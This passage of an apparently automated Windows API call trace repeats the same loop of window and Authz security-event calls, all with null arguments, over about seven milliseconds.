nIDDlgItem=5) returned 0x0 [0025.533] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.533] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.533] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.533] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.533] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.533] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.533] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.533] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.533] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.533] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.533] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.533] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.533] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.533] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.533] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.533] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.533] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.533] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.533] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.534] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.534] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.534] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.534] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.534] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.534] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.534] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.534] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.534] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.534] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.534] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.534] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.534] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.534] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.534] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.534] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.534] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.534] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.534] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.534] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.534] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.534] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.534] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.534] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.534] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.534] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.534] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.534] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.534] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.534] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.534] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.534] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.534] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.534] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.534] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.534] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.534] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.534] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.534] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.534] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.534] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.535] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.535] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.535] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.535] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.535] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.535] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.535] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.535] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.535] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.535] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.535] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.535] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.535] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.535] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.535] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.535] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.535] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.535] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.535] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.535] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.535] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.535] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.535] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.535] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.535] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.535] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.535] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.535] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.535] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.535] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.535] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.535] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.535] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.535] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.535] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.535] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.535] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.535] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.535] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.535] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.535] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.536] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.536] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.536] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.536] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.536] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.536] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.536] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.536] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.536] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.536] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.536] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.536] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.536] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.536] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.536] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.536] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.536] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.536] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.536] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.536] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.536] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.536] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.536] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.536] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.536] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.536] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.536] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.536] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.536] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.536] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.536] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.536] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.536] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.536] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.536] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.536] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.536] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.536] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.536] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.536] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.536] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.537] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.537] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.537] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.537] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.537] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.537] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.537] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.537] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.537] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.537] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.537] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.537] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.537] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.537] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.537] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.537] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.537] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.537] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.537] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.537] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.537] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.537] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.537] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.537] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.537] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.537] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.537] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.537] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.537] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.537] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.537] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.537] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.537] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.537] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.537] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.537] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.537] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.537] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.537] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.537] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.537] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.538] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.538] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.538] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.538] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.538] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.538] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.538] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.538] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.538] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.538] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.538] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.538] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.538] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.538] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.538] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.538] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.538] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.538] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.538] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.538] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.538] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.538] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.538] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.538] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.538] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.538] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.538] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.538] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.538] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.538] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.538] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.538] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.538] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.538] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.538] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.538] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.538] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.538] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.538] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.538] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.538] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.539] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.539] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.539] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.539] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.539] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.539] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.539] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.539] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.539] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.539] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.539] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.539] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.539] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.539] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.539] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.539] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.539] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.539] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.539] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.539] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.539] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.539] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.539] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.539] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.539] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.539] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.539] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.539] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.539] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.539] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.539] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.539] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.539] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.539] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.539] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.539] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.539] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.539] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.539] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.539] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.539] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.540] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.540] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.540] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.540] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.540] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.540] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.540] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.540] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.540] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.540] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.540] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.540] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.540] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.540] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.540] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.540] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.540] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.540] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, 